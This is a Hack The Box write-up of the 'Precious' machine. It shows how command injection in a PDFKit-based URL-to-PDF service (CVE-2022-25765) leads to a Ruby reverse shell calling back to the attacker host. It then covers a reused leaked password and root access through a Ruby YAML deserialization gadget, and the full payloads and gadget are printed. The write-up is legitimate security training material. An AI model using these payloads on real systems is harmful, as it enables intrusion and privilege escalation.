Hack The Box: Precious Writeup

hackthebox, linux, ruby, easy, cve, web

Precious is a Hack The Box Linux machine running a custom web service to fetch URLs and generate PDFs from their content. The web application was vulnerable to command injection (CVE-2022-25765 [1]).
With credentials leaked in a configuration file, privileges were escalated to a sudo user who was allowed to run a ruby script as root. The script reads a YAML file and thus allowed code execution as root through ruby YAML deserialization [2].

Walkthrough

In order to correctly resolve the box's name, the hostname and IP of the box were appended to the hosts file on the assessment machine:

echo "10.10.11.189 precious.htb" | sudo tee -a /etc/hosts

Next, a simple discovery scan of the top 1k ports revealed a web and an SSH server listening on the machine:

sudo nmap --open precious.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 10:24 CEST
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.040s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

The web service seems to be a simple web page that offers converting web pages to PDFs: Web app to convert web pages to PDF

This immediately screams Server-Side-Request-Forgery (SSRF). Although this functionality is intended here, users can make the web server send a web request to a target they choose. The expectation is, that the web server will make an HTTP web request to fetch the resource at the URL and process the content internally to produce a PDF from it.

In order to verify the SSRF, I spun up a netcat listener on my attack host and entered an URL pointing to the attack host into the form.

Entered URL:

http://10.10.16.2/doc.pdf

In fact, the server tried to fetch the resource and the netcat listener captured the request:

sudo nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.189] 39970
GET /doc.pdf HTTP/1.1
Host: 10.10.16.2
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*

The User-Agent contains information about the program making the request: wkhtmltopdf. The tool was vulnerable to SSRF and Local File Inclusions [3] in the past, but I couldn’t reproduce these attacks on this instance.

As I tried another class of web attacks, command line injection, I was able to discover vulnerability in the application, that allowed the further exploitation of the system.

I started another netcat listener on the attack machine and entered this URL on the web app:

http://10.10.16.2/$(whoami)

The netcat listener captured the request:

sudo nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.189] 53852
GET /ruby HTTP/1.1
<SNIP>

As the last line before snipping shows, the web server executed the sub command before making the request. This indicates that the URL paremeter is passed into a shell that does command substitution before evaluating the whole command. Therefore, it is possible to remotely execute arbitrary commands using this vulnerability.

Digging deeper into the discovered command injection vulnerability, I discovered PDFKit. PDFKit is a tool to create PDFs from HTML and CSS. It builds on wkhtmltopdf on the backend and suffered from a command injection vulnerability (CVE-2022-25765 [1]) in the past - just as the web app on Precious!

In order to exploit this, I used revshells to create a reverse shell for ruby:

ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.2",8080))'

Then, I used a payload, similar to PoC code [4] for the vulnerability, to connect to a netcat listener I spun up on port 8080.

Entered URL:

http://10.10.16.2/%20` ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.16.2",8080))'`

The web server connected back with a reverse shell. The passwd files reveals additional users that have a shell configured:

nc -lvnp 8080
listening on [any] 8080 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.189] 43210
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
cat /etc/passwd | grep sh 
root:x:0:0:root:/root:/bin/bash
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
ruby:x:1001:1001::/home/ruby:/bin/bash

Enumerating the home directory of the ruby user, I discovered a file (/home/ruby/.bundle/config) that contained Henry’s password:

henry:Q3c1A<SNIP>

Using the password, I logged in via SSH as Henry

ssh -l henry precious.htb
[email protected]'s password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
<SNIP>
henry@precious:~$ wc -c user.txt
33 user.txt

Henry is a sudo user and is able to run exactly one command as root, without a password:

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Then I tried to discover a vulnerability in update_dependencies.rb to escalate privileges to root:

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

As it turns out, this updater reads the ruby gems from the relative path ./dependencies.yml.

In fact, a universal gadget can be used to gain code execution using unsafe deserialization in ruby 2.x.

The gadget taken from PayloadAllTheThings drops to an interactive bash session upon deserializing the gadget with ruby. I saved this gadget to dependencies.yml:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: bash -i
         method_id: :resolve

Finally, I executed the updater script using sudo as henry and got a shell session as root, fully compromising the machine:

Privilege escalation to root using ruby YAML gadget

Thank you for reading, and have a fun time with CTFs.

Archived references: